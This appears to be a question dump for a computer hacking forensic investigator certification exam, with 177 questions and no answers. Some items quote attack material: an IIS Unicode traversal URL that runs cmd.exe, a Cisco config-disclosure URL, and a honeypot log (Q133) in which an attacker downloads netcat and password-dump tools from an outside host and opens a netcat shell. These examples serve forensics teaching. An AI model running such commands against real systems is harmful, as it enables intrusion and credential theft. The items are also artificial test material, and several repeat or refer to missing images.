Real Updated 312-49v9 Exam Study Guides

1. A small law firm located in the Midwest has possibly been breached by a computer hacker looking to obtain information on their clientele. The law firm does not have any on-site IT employees, but wants to search for evidence of the breach themselves to prevent any possible media attention .

Why would this not be recommended?

2. Casey has acquired data from a hard disk in an open source acquisition format that allows her to generate compressed or uncompressed image files .

What format did she use?

3. What is the role of Alloc.c in Apache core?

4. A picture file is recovered from a computer under investigation. During the investigation process, the file is enlarged 500% to get a better view of its contents. The picture quality is not degraded at all from this process .

What kind of picture is this file?

5. Where is the default location for Apache access logs on a Linux computer?

6. Which of the following files stores information about a local Google Drive installation such as User email ID, Local Sync Root Path, and Client version installed?

7. In the context of file deletion process, which of the following statement holds true?

8. Chris has been called upon to investigate a hacking incident reported by one of his clients. The company suspects the involvement of an insider accomplice in the attack. Upon reaching the incident scene, Chris secures the physical area, records the scene using visual media. He shuts the system down by pulling the power plug so that he does not disturb the system in any way. He labels all cables and connectors prior to disconnecting any .

What do you think would be the next sequence of events?

9. When a file is deleted by Windows Explorer or through the MS-DOS delete command, the operating system inserts _______________ in the first letter position of the filename in the FAT database.

10. When obtaining a warrant, it is important to:

11. Harold is finishing up a report on a case of network intrusion, corporate spying, and embezzlement that he has been working on for over six months. He is trying to find the right term to use in his report to describe network-enabled spying .

What term should Harold use?

12. Which program is the bootloader when Windows XP starts up?

13. Hackers can gain access to Windows Registry and manipulate user passwords, DNS settings, access rights or others features that they may need in order to accomplish their objectives.

One simple method for loading an application at startup is to add an entry (Key) to the following Registry Hive:

14. What is the smallest physical storage unit on a hard drive?

15. In a FAT32 system, a 123 KB file will use how many sectors?

16. You are working as an independent computer forensics investigator and received a call from a systems administrator for a local school system requesting your assistance. One of the students at the local high school is suspected of downloading inappropriate images from the Internet to a PC in the Computer Lab. When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a “simple backup copy” of the hard drive in the PC and put it on this drive and requests that you examine the drive for evidence of the suspected images. You inform him that a “simple backup copy” will not provide deleted files or recover file fragments .

What type of copy do you need to make to ensure that the evidence found is complete and admissible in future proceeding?

17. George is a senior security analyst working for a state agency in Florida. His state's congress just passed a bill mandating every state agency to undergo a security audit annually. After learning what will be required, George needs to implement an IDS as soon as possible before the first audit occurs. The state bill requires that an IDS with a "time-based induction machine" be used.

What IDS feature must George implement to meet this requirement?

18. As part of extracting the system data, Jenifer has used the netstat command .

What does this tool reveal?

19. Which of the following registry hive gives the configuration information about which application was used to open various files on the system?

20. When investigating a computer forensics case where Microsoft Exchange and Blackberry Enterprise server are used, where would investigator need to search to find email sent from a Blackberry device?

21. Adam, a forensic investigator, is investigating an attack on Microsoft Exchange Server of a large organization. As the first step of the investigation, he examined the PRIV.EDB file and found the source from where the mail originated and the name of the file that disappeared upon execution. Now, he wants to examine the MIME stream content .

Which of the following files is he going to examine?

22. What is kept in the following directory? HKLMSECURITYPolicySecrets

23. In a computer that has Dropbox client installed, which of the following files related to the Dropbox client store information about local Dropbox installation and the Dropbox user account, along with email IDs linked with the account?

24. Andie, a network administrator, suspects unusual network services running on a windows system .

Which of the following commands should he use to verify unusual network services started on a Windows system?

25. Which of the following tool enables data acquisition and duplication?

26. Lance wants to place a honeypot on his network .

Which of the following would be your recommendations?

27. A forensics investigator needs to copy data from a computer to some type of removable media so he can examine the information at another location. The problem is that the data is around 42GB in size .

What type of removable media could the investigator use?

28. You are a security analyst performing a penetration tests for a company in the Midwest. After some initial reconnaissance, you discover the IP addresses of some Cisco routers used by the company.

You type in the following URL that includes the IP address of one of the routers:

http://172.168.4.131/level/99/exec/show/config

After typing in this URL, you are presented with the entire configuration file for that router .

What have you discovered?

29. What is the CIDR from the following screenshot?

30. When using an iPod and the host computer is running Windows, what file system will be used?

31. When a router receives an update for its routing table, what is the metric value change to that path?

32. Diskcopy is:

33. You are assigned to work in the computer forensics lab of a state police agency. While working on a high profile criminal case, you have followed every applicable procedure, however your boss is still concerned that the defense attorney might question whether evidence has been changed while at the lab .

What can you do to prove that the evidence is the same as it was when it first entered the lab?

34. During the trial, an investigator observes that one of the principal witnesses is severely ill and cannot be present for the hearing. He decides to record the evidence and present it to the court.

Under which rule should he present such evidence?

35. Which of the following network attacks refers to sending huge volumes of email to an address in an attempt to overflow the mailbox or overwhelm the server where the email address is hosted so as to cause a denial-of-service attack?

36. After passing her CEH exam, Carol wants to ensure that her network is completely secure. She implements a DMZ, stateful firewall, NAT, IPSEC, and a packet filtering firewall. Since all security measures were taken, none of the hosts on her network can reach the Internet .

Why is that?

37. Which US law does the interstate or international transportation and receiving of child pornography fall under?

38. You have used a newly released forensic investigation tool, which doesn't meet the Daubert Test, during a case. The case has ended-up in court .

What argument could the defense make to weaken your case?

39. Which of the following options will help users to enable or disable the last access time on a system running Windows 10 OS?

40. Where is the startup configuration located on a router?

41. Which of the following does Microsoft Exchange E-mail Server use for collaboration of various e-mail applications?

42. What do you call the process of studying the changes that have taken place across a system or a machine after a series of actions or incidents?

43. Simon is a former employee of Trinitron XML Inc. He feels he was wrongly terminated and wants to hack into his former company's network. Since Simon remembers some of the server names, he attempts to run the axfr and ixfr commands using DIG .

What is Simon trying to accomplish here?

44. In Windows, prefetching is done to improve system performance. There are two types of prefetching: boot prefetching and application prefetching.

During boot prefetching, what does the Cache Manager do?

45. The ____________________ refers to handing over the results of private investigations to the authorities because of indications of criminal activity.

46. What is the location of the binary files required for the functioning of the OS in a Linux system?

47. Which network attack is described by the following statement? "At least five Russian major banks came under a continuous hacker attack, although online client services were not disrupted. The attack came from a wide-scale botnet involving at least 24,000 computers, located in 30 countries."

48. Which U.S. law sets the rules for sending emails for commercial purposes, establishes the minimum requirements for commercial messaging, gives the recipients of emails the right to ask the senders to stop emailing them, and spells out the penalties in case the above said rules are violated?

49. After undergoing an external IT audit, George realizes his network is vulnerable to DDoS attacks.

What countermeasures could he take to prevent DDoS attacks?

50. Which of the following information is displayed when Netstat is used with -ano switch?

51. Who is responsible for the following tasks?

52. When should an MD5 hash check be performed when processing evidence?

53. The given image displays information about date and time of installation of the OS along with service packs, patches, and sub-directories .





What command or tool did the investigator use to view this output?

54. Which program uses different techniques to conceal a malware's code, thereby making it difficult for security mechanisms to detect or remove it?

55. Which of the following tools will help the investigator to analyze web server logs?

56. When marking evidence that has been collected with the aa/ddmmyy/nnnn/zz format, what does the nnn denote?

57. What technique is used by JPEGs for compression?

58. When a user deletes a file or folder, the system stores complete path including the original filename is a special hidden file called “INFO2” in the Recycled folder. If the INFO2 file is deleted, it is recovered when you ______________________.

59. For what purpose do the investigators use tools like iPhoneBrowser, iFunBox, OpenSSHSSH, and iMazing?

60. Bob has encountered a system crash and has lost vital data stored on the hard drive of his Windows computer. He has no cloud storage or backup hard drives. He wants to recover all the data, which includes his personal photos, music, documents, videos, official emails, etc .

Which of the following tools shall resolve Bob's purpose?

61. Which of the following data structures stores attributes of a process, as well as pointers to other attributes and data structures?

62. When making the preliminary investigations in a sexual harassment case, how many investigators are you recommended having?

63. What operating system would respond to the following command?

64. Bob has been trying to penetrate a remote production system for the past two weeks. This time however, he is able to get into the system. He was able to use the System for a period of three weeks. However, law enforcement agencies were recoding his every activity and this was later presented as evidence.

The organization had used a Virtual Environment to trap Bob .

What is a Virtual Environment?

65. Jason is the security administrator of ACMA metal Corporation. One day he notices the company's Oracle database server has been compromised and the customer information along with financial data has been stolen. The financial loss will be in millions of dollars if the database gets into the hands of the competitors. Jason wants to report this crime to the law enforcement agencies immediately.

Which organization coordinates computer crimes investigations throughout the United States?

66. Jim’s company regularly performs backups of their critical servers. But the company can’t afford to send backup tapes to an off-site vendor for long term storage and archiving.

Instead Jim’s company keeps the backup tapes in a safe in the office. Jim’s company is audited each year, and the results from this year’s audit show a risk because backup tapes aren’t stored off-site.

The Manager of Information Technology has a plan to take the backup tapes home with him and wants to know what two things he can do to secure the backup tapes while in transit?

67. Larry is an IT consultant who works for corporations and government agencies. Larry plans on shutting down the city's network using BGP devices and zombies?

What type of Penetration Testing is Larry planning to carry out?

68. Where should the investigator look for the Edge browser’s browsing records, including history, cache, and cookies?

69. Which part of the Windows Registry contains the user's password file?

70. Windows identifies which application to open a file with by examining which of the following?

71. An investigator is searching through the firewall logs of a company and notices ICMP packets that are larger than 65,536 bytes .

What type of activity is the investigator seeing?

72. While analyzing a hard disk, the investigator finds that the file system does not use UEFI-based interface .

Which of the following operating systems is present on the hard disk?

73. What is the capacity of Recycle bin in a system running on Windows Vista?

74. You are working as a Computer forensics investigator for a corporation on a computer abuse case. You discover evidence that shows the subject of your investigation is also embezzling money from the company. The company CEO and the corporate legal counsel advise you to contact law enforcement and provide them with the evidence that you have found. The law enforcement officer that responds requests that you put a network sniffer on your network and monitor all traffic to the subject’s computer.

You inform the officer that you will not be able to comply with that request because doing so would:

75. You are working as an independent computer forensics investigator and received a call from a systems administrator for a local school system requesting your assistance. One of the students at the local high school is suspected of downloading inappropriate images from the Internet to a PC in the Computer lab. When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a “simple backup copy” of the hard drive in the PC and put it on this drive and requests that you examine that drive for evidence of the suspected images. You inform him that a “simple backup copy” will not provide deleted files or recover file fragments.

What type of copy do you need to make to ensure that the evidence found is complete and admissible in future proceeding?

76. When investigating a potential e-mail crime, what is your first step in the investigation?

77. A suspect is accused of violating the acceptable use of computing resources, as he has visited adult websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed visit these sites. However, the suspect has cleared the search history and emptied the cookie cache. Moreover, he has removed any images he might have downloaded .

What can the investigator do to prove the violation?

78. Buffer overflow vulnerability of a web application occurs when it fails to guard its buffer properly and allows writing beyond its maximum size. Thus, it overwrites the_________.

There are multiple forms of buffer overflow, including a Heap Buffer Overflow and a Format String Attack.

79. The efforts to obtain information before a trail by demanding documents, depositions, questioned and answers written under oath, written requests for admissions of fact and examination of the scene is a description of what legal term?

80. Which of the following files DOES NOT use Object Linking and Embedding (OLE)

technology to embed and link to other objects?

81. How many possible sequence number combinations are there in TCP/IP protocol?

82. Microsoft Security IDs are available in Windows Registry Editor.

The path to locate IDs in Windows 7 is:

83. Checkpoint Firewall logs can be viewed through a Check Point Log viewer that uses icons and colors in the log table to represent different security events and their severity .

What does the icon in the checkpoint logs represent?

84. George is performing security analysis for Hammond and Sons LLC. He is testing security vulnerabilities of their wireless network. He plans on remaining as "stealthy" as possible during the scan .

Why would a scanner like Nessus is not recommended in this situation?

85. Bob has encountered a system crash and has lost vital data stored on the hard drive of his Windows computer. He has no cloud storage or backup hard drives. he wants to recover all those data, which includes his personal photos, music, documents, videos, official email, etc .

Which of the following tools shall resolve Bob’s purpose?

86. Which network attack is described by the following statement?

“At least five Russian major banks came under a continuous hacker attack, although online client services were not disrupted. The attack came from a wide-scale botnet involving at least 24,000 computers, located in 30 countries.”

87. 1.What does mactime, an essential part of the coroner's toolkit do?

88. An attacker successfully gained access to a remote Windows system and plans to install persistent backdoors on it. Before that, to avoid getting detected in future, he wants to cover his tracks by disabling the last-accessed timestamps of the machine .

What would he do to achieve this?

89. Report writing is a crucial stage in the outcome of an investigation .

Which information should not be included in the report section?

90. Bill is the accounting manager for Grummon and Sons LLC in Chicago. On a regular basis, he needs to send PDF documents containing sensitive information through E-mail to his customers.

Bill protects the PDF documents with a password and sends them to their intended recipients.

Why PDF passwords do not offer maximum protection?

91. Jonathan is a network administrator who is currently testing the internal security of his network. He is attempting to hijack a session, using Ettercap, of a user connected to his Web server .

Why will Jonathan not succeed?

92. The objective of this act was to protect consumers’ personal financial information held by financial institutions and their service providers.

93. Which ISO Standard enables laboratories to demonstrate that they comply with quality assurance and provide valid results?

94. Jessica works as systems administrator for a large electronics firm. She wants to scan her network quickly to detect live hosts by using ICMP ECHO Requests .

What type of scan is Jessica going to perform?

95. Which of the following reports are delivered under oath to a board of directors/managers/panel of the jury?

96. Harold wants to set up a firewall on his network but is not sure which one would be the most appropriate. He knows he needs to allow FTP traffic to one of the servers on his network, but he wants to only allow FTP-PUT .

Which firewall would be most appropriate for Harold? needs?

97. You are asked to build a forensic lab and your manager has specifically informed you to use copper for lining the walls, ceilings, and floor .

What is the main purpose of lining the walls, ceilings, and floor with copper?

98. Which among the following search warrants allows the first responder to search and seize the victim’s computer components such as hardware, software, storage devices, and documentation?

99. You are called by an author who is writing a book and he wants to know how long the copyright for his book will last after he has the book published?

100. When investigating a wireless attack, what information can be obtained from the DHCP logs?

101. Billy, a computer forensics expert, has recovered a large number of DBX files during the forensic investigation of a laptop .

Which of the following email clients can he use to analyze the DBX files?

102. Amber, a black hat hacker, has embedded malware into a small enticing advertisement and posted it on a popular ad-network that displays across various websites .

What is she doing?

103. James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast address of his network .

What type of DoS attack is James testing against his network?

104. Select the tool appropriate for finding the dynamically linked lists of an application or malware.

105. What technique used by Encase makes it virtually impossible to tamper with evidence once it has been acquired?

106. Randy has extracted data from an old version of a Windows-based system and discovered info file Dc5.txt in the system recycle bin .

What does the file name denote?

107. NTFS has reduced slack space than FAT, thus having lesser potential to hide data in the slack space.

This is because:

108. Which of the following Event Correlation Approach is an advanced correlation method that assumes and predicts what an attacker can do next after the attack by studying the statistics and probability and uses only two variables?

109. Robert, a cloud architect, received a huge bill from the cloud service provider, which usually doesn't happen. After analyzing the bill, he found that the cloud resource consumption was very high. He then examined the cloud server and discovered that a malicious code was running on the server, which was generating huge but harmless traffic from the server. This means that the server has been compromised by an attacker with the sole intention to hurt the cloud customer financially .

Which attack is described in the above scenario?

110. Which of the following files store the MySQL database data permanently, including the data that had been deleted, helping the forensic investigator in examining the case and finding the culprit?

111. Jacob is a computer forensics investigator with over 10 years of experience in investigations and has written over 50 articles on computer forensics. He has been called upon as a qualified witness to testify the accuracy and integrity of the technical log files gathered in an investigation into computer fraud .

What is the term used for Jacob’s testimony in this case?

112. Smith, a forensic examiner, was analyzing a hard disk image to find and acquire deleted sensitive files. He stumbled upon a $Recycle.Bin folder in the root directory of the disk. Identify the operating system in use.

113. Which of the following attack uses HTML tags like <script></script>?

114. In both pharming and phishing attacks an attacker can create websites that look similar to legitimate sites with the intent of collecting personal identifiable information from its victims .

What is the difference between pharming and phishing attacks?

115. The following excerpt is taken from a honeypot log. The log captures activities across three days.

There are several intrusion attempts; however, a few are successful.

(Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)

Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169

Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482

Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53

Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21

Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53

Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53

Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53

Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111

Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80

Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53

Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)

Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)

Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080

Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558

From the options given below choose the one which best interprets the following entry:

Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

116. When monitoring for both intrusion and security events between multiple computers, it is essential that the computers' clocks are synchronized. Synchronized time allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine exactly when specific events took place, and how events interlace .

What is the name of the service used to synchronize time among multiple computers?

117. Which of the following attacks allows an attacker to access restricted directories, including application source code, configuration and critical system files, and to execute commands outside of the web server’s root directory?

118. What will the following URL produce in an unpatched IIS Web Server?

http://www.thetargetsite.com/scripts/..%co%af../..%co%af../windows/system32/cmd.exe?/c+dir+c:

119. An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the Employees Computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekend. You detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that that the employee was in possession of the proprietary information?

120. When marking evidence that has been collected with the “aaa/ddmmyy/nnnn/zz” format, what does the “nnnn” denote?

121. The investigator wants to examine changes made to the system’s registry by the suspect program .

Which of the following tool can help the investigator?

122. Which of the following tool can the investigator use to analyze the network to detect Trojan activities?

123. Which of the following tool is used to locate IP addresses?

124. Investigators can use the Type Allocation Code (TAC) to find the model and origin of a mobile device. Where is TAC located in mobile devices?

125. In the following email header, where did the email first originate from?

126. What must an investigator do before disconnecting an iPod from any type of computer?

127. What is an investigator looking for in the rp.log file stored in a system running on Windows 10 operating system?

128. If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude?

129. Email archiving is a systematic approach to save and protect the data contained in emails so that it can be accessed fast at a later date. There are two main archive types, namely Local Archive and Server Storage Archive .

Which of the following statements is correct while dealing with local archives?

130. How many sectors will a 125 KB file use in a FAT32 file system?

131. What is the framework used for application development for iOS-based mobile devices?

132. Chong-lee, a forensics executive, suspects that a malware is continuously making copies of files and folders on a victim system to consume the available disk space .

What type of test would confirm his claim?

133. The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

"cmd1.exe /c open 213.116.251.162 >ftpcom"

"cmd1.exe /c echo johna2k >>ftpcom"

"cmd1.exe /c echo haxedj00 >>ftpcom"

"cmd1.exe /c echo get nc.exe >>ftpcom"

"cmd1.exe /c echo get pdump.exe >>ftpcom"

"cmd1.exe /c echo get samdump.dll >>ftpcom"

"cmd1.exe /c echo quit >>ftpcom"

"cmd1.exe /c ftp -s:ftpcom"

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"

What can you infer from the exploit given?

134. What malware analysis operation can the investigator perform using the jv16 tool?

135. Which tool does the investigator use to extract artifacts left by Google Drive on the system?

136. Which of the following statements is true regarding SMTP Server?

137. Profiling is a forensics technique for analyzing evidence with the goal of identifying the perpetrator from their various activity.

After a computer has been compromised by a hacker, which of the following would be most important in forming a profile of the incident?

138. In what way do the procedures for dealing with evidence in a criminal case differ from the procedures for dealing with evidence in a civil case?

139. Netstat is a tool for collecting information regarding network connections. It provides a simple view of TCP and UDP connections, and their state and network traffic statistics .

Which of the following commands shows you the TCP and UDP network connections,

listening ports, and the identifiers?

140. The MAC attributes are timestamps that refer to a time at which the file was last modified or last accessed or originally created .

Which of the following file systems store MAC attributes in Coordinated Universal Time (UTC) format?

141. You just passed your ECSA exam and are about to start your first consulting job running security audits for a financial institution in Los Angeles. The IT manager of the company you will be working for tries to see if you remember your ECSA class. He asks about the methodology you will be using to test the company's network .

How would you answer?

142. What encryption technology is used on Blackberry devices Password Keeper?

143. After attending a CEH security seminar, you make a list of changes you would like to perform on your network to increase its security. One of the first things you change is to switch the Restrict Anonymous setting from 0 to 1 on your servers. This, as you were told, would prevent anonymous users from establishing a null session on the server. Using User info tool mentioned at the seminar, you succeed in establishing a null session with one of the servers .

Why is that?

144. Stephen is checking an image using Compare Files by The Wizard, and he sees the file signature is shown as FF D8 FF E1 .

What is the file type of the image?

145. Before performing a logical or physical search of a drive in Encase, what must be added to the program?

146. Pagefile.sys is a virtual memory file used to expand the physical memory of a computer.

Select the registry path for the page file:

147. At what layer of the OSI model do routers function on?

148. Which of the following standard represents a legal precedent sent in 1993 by the Supreme Court of the United States regarding the admissibility of expert witnesses’ testimony during federal legal proceedings?

149. When is it appropriate to use computer forensics?

150. Shane, a forensic specialist, is investigating an ongoing attack on a MySQL database server hosted on a Windows machine with SID “WIN-ABCDE12345F.”

Which of the following log file will help Shane in tracking all the client connections and activities performed on the database server?

151. Office documents (Word, Excel, PowerPoint) contain a code that allows tracking the MAC, or unique identifier, of the machine that created the document .

What is that code called?

152. In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze?

153. Julie is a college student majoring in Information Systems and Computer Science. She is currently writing an essay for her computer crimes class. Julie paper focuses on white-collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subject. Julie would like to focus the subject of the essay on the most common type of crime found in corporate America .

What crime should Julie focus on?

154. James, a hacker, identifies a vulnerability in a website. To exploit the vulnerability, he visits the login page and notes down the session ID that is created. He appends this session ID to the login URL and shares the link with a victim. Once the victim logs into the website using the shared URL, James reloads the webpage (containing the URL with the session ID appended) and now, he can browse the active session of the victim .

Which attack did James successfully execute?

155. An investigator is analyzing a checkpoint firewall log and comes across symbols .





What type of log is he looking at?

156. Harold is a security analyst who has just run the rdisk /s command to grab the backup SAM files on a computer.

Where should Harold navigate on the computer to find the file?

157. Which cloud model allows an investigator to acquire the instance of a virtual machine and initiate the forensics examination process?

158. Your company's network just finished going through a SAS 70 audit. This audit reported that overall, your network is secure, but there are some areas that needs improvement. The major area was SNMP security. The audit company recommended turning off SNMP, but that is not an option since you have so many remote nodes to keep track of .

What step could you take to help secure SNMP on your network?

159. What stage of the incident handling process involves reporting events?

160. Linux operating system has two types of typical bootloaders namely LILO (Linux Loader) and GRUB (Grand Unified Bootloader).

In which stage of the booting process do the bootloaders become active?

161. To reach a bank web site, the traffic from workstations must pass through a firewall. You have been asked to review the firewall configuration to ensure that workstations in network 10.10.10.0/24 can only reach the bank web site 10.20.20.1 using https .

Which of the following firewall rules meets this requirement?

162. Melanie was newly assigned to an investigation and asked to make a copy of all the evidence from the compromised system. Melanie did a DOS copy of all the files on the system .

What would be the primary reason for you to recommend a disk imaging tool?

163. This type of testimony is presented by someone who does the actual fieldwork and does not offer a view in court.

164. You have been asked to investigate the possibility of computer fraud in the finance department of a company. It is suspected that a staff member has been committing finance fraud by printing cheques that have not been authorized. You have exhaustively searched all data files on a bitmap image of the target computer, but have found no evidence. You suspect the files may not have been saved .

What should you examine next in this case?

165. What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?

166. When setting up a wireless network with multiple access points, why is it important to set each access point on a different channel?

167. One technique for hiding information is to change the file extension from the correct one to the one that might not be noticed by an investigator. For example, changing a .jpg extension to a .doc extension so that a picture file appears to be a document .

What can an investigator examine to verify that a file has the correct extension?

168. MAC filtering is a security access control methodology, where a ___________ is assigned to each network card to determine access to the network.

169. You are a security analyst performing reconnaissance on a company you will be carrying out a penetration test for. You conduct a search for IT jobs on Dice.com and find the following information for an open position: 7+ years experience in Windows Server environment 5+ years experience in Exchange 2000/2003 environment Experience with Cisco Pix Firewall, Linksys 1376 router, Oracle 11i and MYOB v3.4 Accounting software are required MCSA desired, MCSE, CEH preferred No Unix/Linux Experience needed

What is this information posted on the job website considered?

170. Which of the following techniques can be used to beat steganography?

171. If a PDA is seized in an investigation while the device is turned on, what would be the proper procedure?

172. What information do you need to recover when searching a victim’s computer for a crime committed with specific e-mail message?

173. How will you categorize a cybercrime that took place within a CSP’s cloud environment?

174. Which of the following is a list of recently used programs or opened files?

175. Jim performed a vulnerability analysis on his network and found no potential problems. He runs another utility that executes exploits against his system to verify the results of the vulnerability test.

The second utility executes five known exploits against his network in which the vulnerability analysis said were not exploitable .

What kind of results did Jim receive from his vulnerability analysis?

176. Which one of the following is not a first response procedure?

177. Under which Federal Statutes does FBI investigate for computer crimes involving e-mail scams and mail fraud?